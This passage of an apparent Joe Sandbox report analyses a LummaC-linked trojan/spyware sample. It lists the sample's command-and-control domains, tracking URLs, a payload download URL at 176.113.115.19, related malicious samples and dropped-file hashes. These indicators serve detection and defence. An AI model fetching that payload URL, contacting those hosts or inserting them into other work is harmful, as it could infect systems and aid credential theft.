soundtappysk.shop	false		high
crowdwarek.shop	false		high
skidjazzyric.click	true	Avira URL Cloud: malware	unknown
apporholis.shop	false		high
handscreamny.shop	false		high
https://post-to-me.com/track_prt.php?sub=0&cc=DE	false	Avira URL Cloud: malware	unknown
chipdonkeruz.shop	false		high
femalsabler.shop	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://post-to-me.com/track_prt.php?sub=&cc=DE	xCnwCctDWC.exe, 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp	false		high
https://duckduckgo.com/chrome_newtab	1C22.tmp.exe, 00000003.00000003.1519345655.0000000002E57000.00000004.00000800.00020000.00000000.sdmp, 1C22.tmp.exe, 00000003.00000003.1519443042.0000000002E57000.00000004.00000800.00020000.00000000.sdmp, 1C22.tmp.exe, 00000003.00000003.1519267872.0000000002E5A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	1C22.tmp.exe, 00000003.00000003.1519345655.0000000002E57000.00000004.00000800.00020000.00000000.sdmp, 1C22.tmp.exe, 00000003.00000003.1519443042.0000000002E57000.00000004.00000800.00020000.00000000.sdmp, 1C22.tmp.exe, 00000003.00000003.1519267872.0000000002E5A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	1C22.tmp.exe, 00000003.00000003.1519345655.0000000002E57000.00000004.00000800.00020000.00000000.sdmp, 1C22.tmp.exe, 00000003.00000003.1519443042.0000000002E57000.00000004.00000800.00020000.00000000.sdmp, 1C22.tmp.exe, 00000003.00000003.1519267872.0000000002E5A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://post-to-me.com/track_prt.php?sub=0&cc=DE6	xCnwCctDWC.exe, 00000000.00000003.3750184677.0000000000786000.00000004.00000020.00020000.00000000.sdmp, xCnwCctDWC.exe, 00000000.00000002.3859836533.0000000000787000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://skidjazzyric.click/	1C22.tmp.exe, 1C22.tmp.exe, 00000003.00000002.1661413975.000000000072D000.00000004.00000020.00020000.00000000.sdmp, 1C22.tmp.exe, 00000003.00000003.1518204557.000000000069D000.00000004.00000020.00020000.00000000.sdmp, 1C22.tmp.exe, 00000003.00000003.1557665827.000000000072D000.00000004.00000020.00020000.00000000.sdmp, 1C22.tmp.exe, 00000003.00000003.1518204557.00000000006B6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://176.113.115.19/ScreenUpdateSync.exe1#.o	xCnwCctDWC.exe, 00000000.00000003.1478938722.00000000007B3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://176.113.115.19/ScreenUpdateSync.exe:#)o	xCnwCctDWC.exe, 00000000.00000003.3750032006.00000000007B3000.00000004.00000020.00020000.00000000.sdmp, xCnwCctDWC.exe, 00000000.00000003.1478938722.00000000007B3000.00000004.00000020.00020000.00000000.sdmp, xCnwCctDWC.exe, 00000000.00000002.3860024412.00000000007B3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://176.113.115.19/ScreenUpdateSync.exeX	xCnwCctDWC.exe, 00000000.00000003.1478938722.00000000007B3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	1C22.tmp.exe, 00000003.00000003.1519345655.0000000002E57000.00000004.00000800.00020000.00000000.sdmp, 1C22.tmp.exe, 00000003.00000003.1519443042.0000000002E57000.00000004.00000800.00020000.00000000.sdmp, 1C22.tmp.exe, 00000003.00000003.1519267872.0000000002E5A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	1C22.tmp.exe, 00000003.00000003.1545456307.0000000002EDA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://upx.sf.net	Amcache.hve.7.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	1C22.tmp.exe, 00000003.00000003.1519345655.0000000002E57000.00000004.00000800.00020000.00000000.sdmp, 1C22.tmp.exe, 00000003.00000003.1519443042.0000000002E57000.00000004.00000800.00020000.00000000.sdmp, 1C22.tmp.exe, 00000003.00000003.1519267872.0000000002E5A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	1C22.tmp.exe, 00000003.00000003.1545456307.0000000002EDA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	1C22.tmp.exe, 00000003.00000003.1519345655.0000000002E57000.00000004.00000800.00020000.00000000.sdmp, 1C22.tmp.exe, 00000003.00000003.1519443042.0000000002E57000.00000004.00000800.00020000.00000000.sdmp, 1C22.tmp.exe, 00000003.00000003.1519267872.0000000002E5A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	1C22.tmp.exe, 00000003.00000003.1546390144.000000000314C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://skidjazzyric.click/d	1C22.tmp.exe, 00000003.00000003.1518204557.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://176.113.115.19/ScreenUpdateSync.exe	xCnwCctDWC.exe, 00000000.00000002.3860024412.00000000007B3000.00000004.00000020.00020000.00000000.sdmp, xCnwCctDWC.exe, 00000000.00000002.3859689228.000000000077D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://176.113.115.19/ScreenUpdateSync.exeH	xCnwCctDWC.exe, 00000000.00000002.3859689228.000000000077D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	1C22.tmp.exe, 00000003.00000003.1519345655.0000000002E57000.00000004.00000800.00020000.00000000.sdmp, 1C22.tmp.exe, 00000003.00000003.1519443042.0000000002E57000.00000004.00000800.00020000.00000000.sdmp, 1C22.tmp.exe, 00000003.00000003.1519267872.0000000002E5A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://176.113.115.19/ScreenUpdateSync.exe5rjtejk5rytrrSOFTWARE	xCnwCctDWC.exe, 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp	false		high
https://post-to-me.com/track_prt.php?sub=	xCnwCctDWC.exe	false	Avira URL Cloud: malware	unknown
http://crl.micro	1C22.tmp.exe, 00000003.00000003.1518204557.00000000006C4000.00000004.00000020.00020000.00000000.sdmp, 1C22.tmp.exe, 00000003.00000002.1661413975.00000000006C4000.00000004.00000020.00020000.00000000.sdmp, 1C22.tmp.exe, 00000003.00000003.1557665827.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	1C22.tmp.exe, 00000003.00000003.1545456307.0000000002EDA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	1C22.tmp.exe, 00000003.00000003.1545456307.0000000002EDA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://skidjazzyric.click/(1	1C22.tmp.exe, 00000003.00000002.1661413975.000000000072D000.00000004.00000020.00020000.00000000.sdmp, 1C22.tmp.exe, 00000003.00000003.1557665827.000000000072D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	1C22.tmp.exe, 00000003.00000003.1519345655.0000000002E57000.00000004.00000800.00020000.00000000.sdmp, 1C22.tmp.exe, 00000003.00000003.1519443042.0000000002E57000.00000004.00000800.00020000.00000000.sdmp, 1C22.tmp.exe, 00000003.00000003.1519267872.0000000002E5A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	1C22.tmp.exe, 00000003.00000003.1545456307.0000000002EDA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://skidjazzyric.click/api5	1C22.tmp.exe, 00000003.00000003.1518204557.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://post-to-me.com/s	xCnwCctDWC.exe, 00000000.00000003.3750184677.0000000000786000.00000004.00000020.00020000.00000000.sdmp, xCnwCctDWC.exe, 00000000.00000002.3859836533.0000000000787000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://post-to-me.com/t	xCnwCctDWC.exe, 00000000.00000003.3750184677.0000000000786000.00000004.00000020.00020000.00000000.sdmp, xCnwCctDWC.exe, 00000000.00000002.3859836533.0000000000787000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://176.113.115.19/ScreenUpdateSync.exe$#;o	xCnwCctDWC.exe, 00000000.00000003.1478938722.00000000007B3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://skidjazzyric.click:443/api	1C22.tmp.exe, 00000003.00000003.1530945857.0000000002E97000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/products/firefoxgro.all	1C22.tmp.exe, 00000003.00000003.1546390144.000000000314C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	1C22.tmp.exe, 00000003.00000003.1519345655.0000000002E57000.00000004.00000800.00020000.00000000.sdmp, 1C22.tmp.exe, 00000003.00000003.1519443042.0000000002E57000.00000004.00000800.00020000.00000000.sdmp, 1C22.tmp.exe, 00000003.00000003.1519267872.0000000002E5A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://176.113.115.19/	xCnwCctDWC.exe, 00000000.00000003.1478938722.00000000007B3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.112.1	skidjazzyric.click	United States	13335	CLOUDFLARENETUS	false
104.21.56.70	post-to-me.com	United States	13335	CLOUDFLARENETUS	false
176.113.115.19	unknown	Russian Federation	49505	SELECTELRU	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1586503
Start date and time:	2025-01-09 08:33:49 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	xCnwCctDWC.exe renamed because original name is a hash value
Original Sample Name:	0e5aa226db83b1ebcf03b3fa773cd744.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@4/7@2/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 93% Number of executed functions: 44 Number of non-executed functions: 341
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 104.208.16.94, 4.245.163.56, 20.190.159.2
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, login.live.com, blobcollector.events.data.trafficmanager.net, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com, onedsblobprdcus16.centralus.cloudapp.azure.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:34:49	API Interceptor	6947530x Sleep call for process: xCnwCctDWC.exe modified
02:34:53	API Interceptor	5x Sleep call for process: 1C22.tmp.exe modified
02:35:08	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.112.1	wxl1r0lntg.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	838596cm.nyafka.top/lineLongpolllinuxFlowercentraluploads.php
104.21.112.1	SH8ZyOWNi2.exe	Get hash	malicious	CMSBrute	Browse	beammp.com/phpmyadmin/
104.21.56.70	Ljrprfl3BH.exe	Get hash	malicious	LummaC	Browse
	chu4rWexSX.exe	Get hash	malicious	LummaC	Browse
	xHj1N8ylIf.exe	Get hash	malicious	LummaC	Browse
	K27Yg4V48M.exe	Get hash	malicious	LummaC	Browse
	IH5XqCdf06.exe	Get hash	malicious	LummaC	Browse
	J18zxRjOes.exe	Get hash	malicious	LummaC	Browse
	hpEAJnNwCB.exe	Get hash	malicious	LummaC	Browse
	DG55Gu1yGM.exe	Get hash	malicious	LummaC	Browse
	he55PbvM2G.exe	Get hash	malicious	LummaC	Browse
	AZCFTWko2q.exe	Get hash	malicious	LummaC	Browse
176.113.115.19	DLKs2Qeljg.exe	Get hash	malicious	LummaC	Browse	176.113.115.19/ScreenUpdateSync.exe
	fuk7RfLrD3.exe	Get hash	malicious	LummaC	Browse	176.113.115.19/ScreenUpdateSync.exe
	Ljrprfl3BH.exe	Get hash	malicious	LummaC	Browse	176.113.115.19/ScreenUpdateSync.exe
	chu4rWexSX.exe	Get hash	malicious	LummaC	Browse	176.113.115.19/ScreenUpdateSync.exe
	xHj1N8ylIf.exe	Get hash	malicious	LummaC	Browse	176.113.115.19/ScreenUpdateSync.exe
	K27Yg4V48M.exe	Get hash	malicious	LummaC	Browse	176.113.115.19/ScreenUpdateSync.exe
	IH5XqCdf06.exe	Get hash	malicious	LummaC	Browse	176.113.115.19/ScreenUpdateSync.exe
	J18zxRjOes.exe	Get hash	malicious	LummaC	Browse	176.113.115.19/ScreenUpdateSync.exe
	TUp6f2knn2.exe	Get hash	malicious	LummaC	Browse	176.113.115.19/ScreenUpdateSync.exe
	sqJIHyPqhr.exe	Get hash	malicious	LummaC	Browse	176.113.115.19/ScreenUpdateSync.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
skidjazzyric.click	fuk7RfLrD3.exe	Get hash	malicious	LummaC	Browse	104.21.80.1
	Ljrprfl3BH.exe	Get hash	malicious	LummaC	Browse	104.21.64.1
	DPlvBkg4aj.exe	Get hash	malicious	LummaC	Browse	104.21.112.1
	chu4rWexSX.exe	Get hash	malicious	LummaC	Browse	104.21.80.1
	xHj1N8ylIf.exe	Get hash	malicious	LummaC	Browse	104.21.80.1
	GR7ShhQTKE.exe	Get hash	malicious	LummaC	Browse	104.21.64.1
	ab89jay39E.exe	Get hash	malicious	LummaC	Browse	104.21.64.1
post-to-me.com	fuk7RfLrD3.exe	Get hash	malicious	LummaC	Browse	172.67.179.207
	Ljrprfl3BH.exe	Get hash	malicious	LummaC	Browse	104.21.56.70
	chu4rWexSX.exe	Get hash	malicious	LummaC	Browse	104.21.56.70
	xHj1N8ylIf.exe	Get hash	malicious	LummaC	Browse	104.21.56.70
	K27Yg4V48M.exe	Get hash	malicious	LummaC	Browse	104.21.56.70
	IH5XqCdf06.exe	Get hash	malicious	LummaC	Browse	104.21.56.70
	J18zxRjOes.exe	Get hash	malicious	LummaC	Browse	104.21.56.70
	TUp6f2knn2.exe	Get hash	malicious	LummaC	Browse	172.67.179.207
	sqJIHyPqhr.exe	Get hash	malicious	LummaC	Browse	172.67.179.207
	InstallSetup.exe	Get hash	malicious	LummaC	Browse	172.67.179.207

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	fuk7RfLrD3.exe	Get hash	malicious	LummaC	Browse	104.21.80.1
	Ljrprfl3BH.exe	Get hash	malicious	LummaC	Browse	104.21.64.1
	PO1178236.scr.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	Subscription_Renewal_Invoice_2025_FGHDCS.html	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	PO1178236.scr.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	DPlvBkg4aj.exe	Get hash	malicious	LummaC	Browse	104.21.112.1
	https://qr.me-qr.com/PVhBu5SR	Get hash	malicious	Unknown	Browse	188.114.97.3
	http://join.grass-io.cc	Get hash	malicious	Unknown	Browse	104.18.18.237
	https://qr.me-qr.com/pt/E9k76ew	Get hash	malicious	Unknown	Browse	188.114.96.3
	watchdog.elf	Get hash	malicious	Xmrig	Browse	1.1.1.1
SELECTELRU	DLKs2Qeljg.exe	Get hash	malicious	LummaC	Browse	176.113.115.19
	fuk7RfLrD3.exe	Get hash	malicious	LummaC	Browse	176.113.115.19
	Ljrprfl3BH.exe	Get hash	malicious	LummaC	Browse	176.113.115.19
	chu4rWexSX.exe	Get hash	malicious	LummaC	Browse	176.113.115.19
	xHj1N8ylIf.exe	Get hash	malicious	LummaC	Browse	176.113.115.19
	nYT1CaXH9N.ps1	Get hash	malicious	Amadey	Browse	176.113.115.131
	iy2.dat.exe	Get hash	malicious	XWorm	Browse	176.113.115.170
	z0r0.sh4.elf	Get hash	malicious	Mirai	Browse	82.148.27.5
	K27Yg4V48M.exe	Get hash	malicious	LummaC	Browse	176.113.115.19
	IH5XqCdf06.exe	Get hash	malicious	LummaC	Browse	176.113.115.19
CLOUDFLARENETUS	fuk7RfLrD3.exe	Get hash	malicious	LummaC	Browse	104.21.80.1
	Ljrprfl3BH.exe	Get hash	malicious	LummaC	Browse	104.21.64.1
	PO1178236.scr.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	Subscription_Renewal_Invoice_2025_FGHDCS.html	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	PO1178236.scr.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	DPlvBkg4aj.exe	Get hash	malicious	LummaC	Browse	104.21.112.1
	https://qr.me-qr.com/PVhBu5SR	Get hash	malicious	Unknown	Browse	188.114.97.3
	http://join.grass-io.cc	Get hash	malicious	Unknown	Browse	104.18.18.237
	https://qr.me-qr.com/pt/E9k76ew	Get hash	malicious	Unknown	Browse	188.114.96.3
	watchdog.elf	Get hash	malicious	Xmrig	Browse	1.1.1.1

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	DLKs2Qeljg.exe	Get hash	malicious	LummaC	Browse	104.21.112.1
	fuk7RfLrD3.exe	Get hash	malicious	LummaC	Browse	104.21.112.1
	Ljrprfl3BH.exe	Get hash	malicious	LummaC	Browse	104.21.112.1
	DPlvBkg4aj.exe	Get hash	malicious	LummaC	Browse	104.21.112.1
	https://veryfast.io/?ap=adw&as=g_d_fast_in&dm%5Bads%5D=new_static&dm%5Btype%5D=dis&gad_source=5&gclid=EAIaIQobChMIgp352NzmigMVZAOzAB0wMA8oEAEYASAAEgI_hfD_BwE	Get hash	malicious	Unknown	Browse	104.21.112.1
	web55.mp4.hta	Get hash	malicious	LummaC	Browse	104.21.112.1
	Rgr8LJz.exe	Get hash	malicious	LummaC	Browse	104.21.112.1
	random.exe	Get hash	malicious	LummaC	Browse	104.21.112.1
	asd.exe	Get hash	malicious	LummaC	Browse	104.21.112.1
37f463bf4616ecd445d4a1937da06e19	DLKs2Qeljg.exe	Get hash	malicious	LummaC	Browse	104.21.56.70
	fuk7RfLrD3.exe	Get hash	malicious	LummaC	Browse	104.21.56.70
	Ljrprfl3BH.exe	Get hash	malicious	LummaC	Browse	104.21.56.70
	2362476847-83854387.07.exe	Get hash	malicious	Nitol	Browse	104.21.56.70
	2362476847-83854387.07.exe	Get hash	malicious	Unknown	Browse	104.21.56.70
	2o63254452-763487230.06.exe	Get hash	malicious	Nitol	Browse	104.21.56.70
	2o63254452-763487230.06.exe	Get hash	malicious	Unknown	Browse	104.21.56.70
	https://veryfast.io/?ap=adw&as=g_d_fast_in&dm%5Bads%5D=new_static&dm%5Btype%5D=dis&gad_source=5&gclid=EAIaIQobChMIgp352NzmigMVZAOzAB0wMA8oEAEYASAAEgI_hfD_BwE	Get hash	malicious	Unknown	Browse	104.21.56.70
	z58Swiftcopy_MT.bat.exe	Get hash	malicious	Remcos, GuLoader	Browse	104.21.56.70

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\ScreenUpdateSync[1].exe	DLKs2Qeljg.exe	Get hash	malicious	LummaC	Browse
	fuk7RfLrD3.exe	Get hash	malicious	LummaC	Browse
	Ljrprfl3BH.exe	Get hash	malicious	LummaC	Browse
C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	DLKs2Qeljg.exe	Get hash	malicious	LummaC	Browse
	fuk7RfLrD3.exe	Get hash	malicious	LummaC	Browse
	Ljrprfl3BH.exe	Get hash	malicious	LummaC	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_1C22.tmp.exe_1d5442c51976e954ba5fba3492a1565f5217381_def4729d_91fe47c4-1817-44f0-8dc3-40dea7b7ff20\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0591708310435222
Encrypted:	false
SSDEEP:	192:JSuO69af6O09VrajsFmFXzuiFcfZ24IO8L4v:JA69ai19VrajDXzuiFcfY4IO8E
MD5:	E5AAAA9EABFBF0A9BD3FA7DD88BF7F53
SHA1:	34464223B7831EA1A47552CD978575C54F4E6487
SHA-256:	CF4F0F557FFB86608CBF77E2F765FCCE35F10838931856805BA8B59D145776E6
SHA-512:	84F886F51DFEB5CAAAFFF78D5756F5F01BD5BC2AD2C3647CEB4C602C479666CE6CC038E64BBA0F0E216803B6BD04D2DB96F2D7CA2C9A8CCEE78099827FA13381
Malicious:	true
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.8.0.8.8.1.7.0.0.3.2.4.6.5.2.1.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.8.0.8.8.1.7.0.1.8.0.9.0.1.1.9.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.9.1.f.e.4.7.c.4.-.1.8.1.7.-.4.4.f.0.-.8.d.c.3.-.4.0.d.e.a.7.b.7.f.f.2.0.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.a.d.0.4.e.8.8.8.-.8.a.a.9.-.4.e.e.e.-.8.d.a.1.-.d.1.8.e.7.f.6.a.d.8.5.1.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.1.C.2.2...t.m.p...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.e.1.0.-.0.0.0.1.-.0.0.1.4.-.4.4.5.6.-.2.c.f.8.6.8.6.2.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.1.6.8.2.2.c.f.c.2.f.2.4.7.4.7.0.5.b.7.6.3.a.a.0.0.a.b.6.9.b.a.4.0.0.0.0.4.2.0.7.!.0.0.0.0.0.9.7.8.4.c.6.e.0.c.0.e.2.b.e.3.6.c.8.3.f.4.1.5.3.5.9.0.8.0.3.9.f.e.1.a.a.3.4.3.!.1.C.2.2...t.m.p...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER12EB.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Thu Jan 9 07:35:01 2025, 0x1205a4 type
Category:	dropped
Size (bytes):	109834
Entropy (8bit):	2.2010447215579005
Encrypted:	false
SSDEEP:	384:T1yAfedS7BPfygcJ7rYV4AQP3iJgBLlimFaTPOkut0yPRK1Mwpxc27+NrKu:TQl07BPfyhJ7rYV4b9rpuKSxCNt
MD5:	0D6629582326E0557EA76502C3E721E5
SHA1:	8C6F256BA80B00BAA9F9717BA14032A2404EA127
SHA-256:	7C1B59C44DDC6C0281AA655771E69CFD223B5DF11600F840985218E825814C76
SHA-512:	A4C0A522D2D6D6AF4C3736A0E2D6C27076554E0375034FF6321E934948953E4ECB56A142E7D28627B476F86F6F085A0EA4EB60492B0226D79414260226761D20
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... .......%\|.g........................p...............h$......T....N..........`.......8...........T...........HE...g...........$...........&..............................................................................eJ......p'......GenuineIntel............T............\|.g.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1732.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8332
Entropy (8bit):	3.7015636144642152
Encrypted:	false
SSDEEP:	192:R6l7wVeJiT6GY7N6Yiq6Ldgmfq6FpD189b/Isf1Vm:R6lXJW6z7N6YX6Bgmfq6y/7fm
MD5:	9C17051E6B77AB9D3C677D6F739C78E3
SHA1:	0E766A59FB1F6DB437FD8E4EDA2651AB0BDEA0A4
SHA-256:	C95324B2B2AA8EA68D5B5A0BB297DA6E4DA44A0AE538DB41DB4A1D21061E39EF
SHA-512:	0A84450DC4E950E84FE258504ADE08028104786709634E13D687410CC50F74CD02ABB3D3BE06E9B323C9CBBFA20CFBA44544F9ADB5F64717A957C395D39CA29B
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.6.9.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1781.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4613
Entropy (8bit):	4.477068997958924
Encrypted:	false
SSDEEP:	48:cvIwWl8zserJg77aI90HWpW8VYtaYm8M4JyWNOOqFIi+q8Ld2OOVSsIoahQd:uIjfeFI7a27VEJyWIni0xVrahQd
MD5:	CA24A6B5F68E92821D20121E372CAD63
SHA1:	BE6E28B7DE66C7C1BC6AEBE8C35540584ACBAB78
SHA-256:	E685B1413F7742483F4FEC2BCF64B0079BE029120D68F6AB335623D7B0E7E611
SHA-512:	4583A07A0738A43543FA5796848F2D124EB012947F9B84E09ED1872EE230B726C892E005B8D40834ECBD50620DC9217C3184697D40DBB6321D0BACADE1B98DE2
Malicious:	false
Reputation:	low
